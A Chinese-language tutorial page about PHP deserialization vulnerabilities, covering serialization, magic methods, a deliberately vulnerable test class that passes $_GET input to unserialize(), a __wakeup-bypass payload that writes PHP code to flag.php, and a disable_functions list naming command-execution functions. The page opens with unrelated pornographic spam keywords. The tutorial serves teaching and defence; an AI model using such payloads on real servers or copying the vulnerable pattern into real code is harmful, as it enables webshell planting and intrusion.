国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

反序列化漏洞(PHP)

這篇具有很好參考價(jià)值的文章主要介紹了反序列化漏洞(PHP)。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

反序列化漏洞

0x01. 序列化和反序列化是什么

序列化:變量轉(zhuǎn)換為可保存或傳輸?shù)淖址倪^(guò)程;
反序列化:把序列化的字符串再轉(zhuǎn)化成原來(lái)的變量使用
作用:可輕松地存儲(chǔ)和傳輸數(shù)據(jù),使程序更具維護(hù)性

0x02. 為什么會(huì)有序列化

序列化用于存儲(chǔ)或傳遞 PHP 的值的過(guò)程中,同時(shí)不丟失其類型和結(jié)構(gòu)

0x03. 序列化和反序列化代碼示例

<?php
class User
{
    public $username = 'admin';
    public $password = '123456';
}
// 序列化操作
$user = new User();
$str_ser = serialize($user);
echo "序列化結(jié)果為:\n";
var_dump($str_ser);
echo "反序列化結(jié)果為:\n";
// 反序列化操作
$str_uns = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}';
$str = unserialize($str_uns);
var_dump($str);
?>

運(yùn)行結(jié)果:
反序列化漏洞(PHP)
序列化后的格式如下:
反序列化漏洞(PHP)

0x04. 魔術(shù)方法

魔術(shù)方法是PHP面向?qū)ο笾刑赜械奶匦浴K鼈冊(cè)谔囟ǖ那闆r下被觸發(fā),都是以雙下劃線開頭,你可以把它們理解為鉤子,利用模式方法可以輕松實(shí)現(xiàn)PHP面向?qū)ο笾兄剌d(Overloading即動(dòng)態(tài)創(chuàng)建類屬性和方法)

1.__construct,__destruct

__constuct構(gòu)建對(duì)象的時(shí)被調(diào)用;
__destruct明確銷毀對(duì)象或腳本結(jié)束時(shí)被調(diào)用;

2.__get,__set

__set當(dāng)給不可訪問(wèn)或不存在屬性賦值時(shí)被調(diào)用
__get讀取不可訪問(wèn)或不存在屬性時(shí)被調(diào)用

3.__isset,__unset

__isset對(duì)不可訪問(wèn)或不存在的屬性調(diào)用isset()empty()時(shí)被調(diào)用
__unset對(duì)不可訪問(wèn)或不存在的屬性進(jìn)行unset時(shí)被調(diào)用

4.__sleep,__wakeup

__sleep當(dāng)使用serialize時(shí)被調(diào)用,當(dāng)你不需要保存大對(duì)象的所有數(shù)據(jù)時(shí)很有用
__wakeup當(dāng)使用unserialize時(shí)被調(diào)用,可用于做些對(duì)象的初始化操作

0x05. 反序列化漏洞成因

當(dāng)傳給 unserialize() 的參數(shù)可控時(shí),那么就可以注入精心構(gòu)造的payload,而當(dāng)進(jìn)行反序列化的時(shí)候就有可能會(huì)觸發(fā)對(duì)象中的一些魔術(shù)方法,造成惡意命令執(zhí)行!

0x06. 反序列化漏洞舉例
(1)測(cè)試代碼如下:

<?php
header("Content-Type:text/html;charset=utf-8");
class vFREE{
public $name='vFREE';
public $age='18';
function __wakeup(){
$this->age = "18";
echo("執(zhí)行了wakeup魔術(shù)方法<br>");
}
function __destruct(){
echo("執(zhí)行了destruct魔術(shù)方法");
$path='flag.php';
$file_get=file_put_contents($path,$this->name);

}
}
$flag = $_GET['flag'];
$unser = unserialize($flag);
?>

解釋:類外部用到了反序列化函數(shù)unserialize,但用到這個(gè)函數(shù)時(shí),就會(huì)像檢查類vFREE中有沒有__wakeup方法,有的話就執(zhí)行,沒有就跳過(guò),很明顯,代碼中有wakeup,但是wakeup的內(nèi)容就是一個(gè)賦值操作,并起不了太大的作用,反而destruct中可以利用一波,因?yàn)閐estruct中打開一個(gè)flag.php的文件,然后將$this->name的值作為內(nèi)容寫入到flag.php中,假如我們寫入一個(gè)木馬,便可以Getshell

(2)我們要傳入一個(gè)參數(shù)flag,并且將傳入的值放入反序列化函數(shù)中執(zhí)行,所以我們要傳入的應(yīng)該是一個(gè)序列化后的字符串,此時(shí)我們應(yīng)該類vFREE進(jìn)行序列化,代碼如下:

<?php 
class vFREE{
    public $name='vFREE';
    public $age='18';

    function __wakeup(){
    $this->age = "18";
                        }
    function __destruct(){
    $path='flag.php';
    $file_get=file_put_contents($path,$this->name);
                         }
    }

$test = new vFREE();   
$str = serialize($test);
var_dump($str);
?> 
得到序列化后的結(jié)果:O:5:"vFREE":2:{s:4:"name";s:5:"vFREE";s:3:"age";s:2:"18";}

反序列化漏洞(PHP)
(3)繞過(guò)wakeup方法:

繞過(guò)wakeup方法,直接執(zhí)行destruct寫入shell:
更改原有屬性值達(dá)到繞過(guò)過(guò)wakeup的效果,此時(shí)的類中屬性值是2,我們只要將屬性值改為大于2,即可繞過(guò),如下改成5,便可以繞過(guò):

O:5:"vFREE":5:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}

(4)傳入惡意payload,成功創(chuàng)建flag.php
反序列化漏洞(PHP)
反序列化漏洞(PHP)

(5)查看生成的flag.php,利用成功

反序列化漏洞(PHP)

0x07. 反序列化漏洞預(yù)防文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-459660.html

1)安全配置好php相關(guān)參數(shù)
通過(guò)Php配置文件里面有個(gè)disable_functions = 配置
這個(gè)禁止某些php函數(shù),服務(wù)器便是用這個(gè)來(lái)禁止php的執(zhí)行命令函數(shù)
 #禁止這些函數(shù)來(lái)執(zhí)行系統(tǒng)命令
例:disable_functions =system,passthru,shell_exec,exec,popen  
(2)嚴(yán)格控制傳入變量,嚴(yán)謹(jǐn)使用魔法函數(shù)

到了這里,關(guān)于反序列化漏洞(PHP)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • PHP反序列化漏洞之魔術(shù)方法

    PHP反序列化漏洞之魔術(shù)方法

    PHP魔術(shù)方法 (Magic Methods) 是一組特殊的方法,它們?cè)谔囟ǖ那闆r下會(huì)被自動(dòng)調(diào)用,用于實(shí)現(xiàn)對(duì)象的特殊行為或提供額外功能。這些方法的名稱都以雙下劃線開頭和結(jié)尾,例如: __construct() 、 __toString() 等。 魔術(shù)方法可以幫助我們實(shí)現(xiàn)一些特殊的行為,例如對(duì)象的初始化、屬性

    2024年02月16日
    瀏覽(30)
  • PHP反序列化漏洞-魔術(shù)方法繞過(guò)

    一、__wakeup()魔法函數(shù)繞過(guò): 在PHP中,__wakeup()是一個(gè)魔術(shù)方法,用于在反序列化對(duì)象時(shí)自動(dòng)調(diào)用。 當(dāng)反序列化字符串中的對(duì)象屬性個(gè)數(shù)大于實(shí)際屬性個(gè)數(shù)時(shí) ,可以利用這個(gè)漏洞進(jìn)行繞過(guò)。 觸發(fā)條件: PHP版本為5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的對(duì)

    2024年01月18日
    瀏覽(48)
  • PHP反序列化漏洞-字符串逃逸

    字符串逃逸(閉合) 字符串逃逸(閉合)是一種在反序列化函數(shù)可控的情況下,通過(guò)修改序列化字符串中的敏感字符來(lái)達(dá)到字符串逃逸的方法。 具體而言,可以通過(guò)修改變量名等個(gè)數(shù),使得序列化字符串中的字符個(gè)數(shù)與實(shí)際變量值個(gè)數(shù)不一致 。由于反序列化機(jī)制要求字符串

    2024年01月20日
    瀏覽(23)
  • php魔術(shù)方法和反序列化漏洞

    漏洞形成的根本原因就是程序沒有對(duì)用戶輸入的反序列化字符串進(jìn)行檢測(cè),導(dǎo)致反序列化過(guò)程可以被惡意控制,進(jìn)而造成代碼執(zhí)行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 語(yǔ)言中,其原理基本相同。 反序列化是字節(jié)流轉(zhuǎn)對(duì)象的過(guò)程

    2024年02月09日
    瀏覽(35)
  • PHP反序列化漏洞之產(chǎn)生原因(題目練習(xí))

    PHP反序列化漏洞之產(chǎn)生原因(題目練習(xí))

    PHP反序列化漏洞又叫做PHP對(duì)象注入漏洞,是因?yàn)槌绦驅(qū)斎氲男蛄谢蟮淖址幚聿划?dāng)導(dǎo)致的。反序列化漏洞的成因在于代碼中的unserialize()接收參數(shù)可控,導(dǎo)致代碼執(zhí)行,SQL注入,目錄遍歷,getshell等后果。 一句話講曬就是: ?反序列化漏洞是由于unserialize函數(shù)接收到了

    2024年02月06日
    瀏覽(33)
  • PHP項(xiàng)目&變量覆蓋&反序列化&未授權(quán)訪問(wèn)&身份驗(yàn)證

    PHP項(xiàng)目&變量覆蓋&反序列化&未授權(quán)訪問(wèn)&身份驗(yàn)證

    此種漏洞由于沒有什么關(guān)鍵函數(shù),所以需要通過(guò)功能點(diǎn)去進(jìn)行測(cè)試。 CNVD官網(wǎng)上搜索Bosscms未授權(quán)訪問(wèn)漏洞。 根據(jù)描述,影響的是1.0版本??吹桨l(fā)送時(shí)間為21年12月29好,收錄時(shí)間為22年1月18號(hào)。再去官網(wǎng)看版本更新的時(shí)間點(diǎn),V1.0版本和V1.1版本都是21年12月29號(hào)之前推出的,都存

    2024年02月19日
    瀏覽(17)
  • PHP反序列化漏洞(最全面最詳細(xì)有例題)

    PHP反序列化漏洞(最全面最詳細(xì)有例題)

    靶場(chǎng)搭建: 所有例題靶場(chǎng)里面都有 直接把文件放在phpstudy的目錄下,或者用docker打開都行 類的結(jié)構(gòu),類的內(nèi)容,實(shí)例化和賦值,類的修飾符介紹 外部可以用調(diào)用public屬性,類的內(nèi)部可以調(diào)用protected,public屬性成員屬性。都不能調(diào)用private屬性的成員 private屬性變量,會(huì)在其前面

    2024年02月10日
    瀏覽(34)
  • 38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    序列化(Serialization):將對(duì)象的狀態(tài)信息轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问降倪^(guò)程。在序列化期間,對(duì)象將其當(dāng)前狀態(tài)寫入到臨時(shí)或持久性存儲(chǔ)區(qū)。 反序列化:從存儲(chǔ)區(qū)中讀取該數(shù)據(jù),并將其還原為對(duì)象的過(guò)程,成為反序列化。 1、主函數(shù): 調(diào)用序列化方法 將反序列化的的結(jié)果

    2024年01月25日
    瀏覽(26)
  • CTF-PHP反序列化漏洞2-利用魔法函數(shù)

    CTF-PHP反序列化漏洞2-利用魔法函數(shù)

    作者:Eason_LYC 悲觀者預(yù)言失敗,十言九中。 樂觀者創(chuàng)造奇跡,一次即可。 一個(gè)人的價(jià)值,在于他所擁有的??梢圆粚W(xué)無(wú)術(shù),但不能一無(wú)所有! 技術(shù)領(lǐng)域:WEB安全、網(wǎng)絡(luò)攻防 關(guān)注WEB安全、網(wǎng)絡(luò)攻防。我的專欄文章知識(shí)點(diǎn)全面細(xì)致,邏輯清晰、結(jié)合實(shí)戰(zhàn),讓你在學(xué)習(xí)路上事半

    2024年02月05日
    瀏覽(23)
  • 37-WEB漏洞-反序列化之PHP&JAVA全解(上)

    37-WEB漏洞-反序列化之PHP&JAVA全解(上)

    未對(duì)用戶輸入的序列化字符串進(jìn)行檢測(cè),導(dǎo)致攻擊者可以控制反序列化過(guò)程,從而導(dǎo)致代碼執(zhí)行,SQL 注入,目錄遍歷等不可控后果。在反序列化的過(guò)程中自動(dòng)觸發(fā)了某些魔術(shù)方法。當(dāng)進(jìn)行反序列化的時(shí)候就有可能會(huì)觸發(fā)對(duì)象中的一些魔術(shù)方法。 2.1.1、本地 unserialize2.php flag.

    2024年01月22日
    瀏覽(25)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包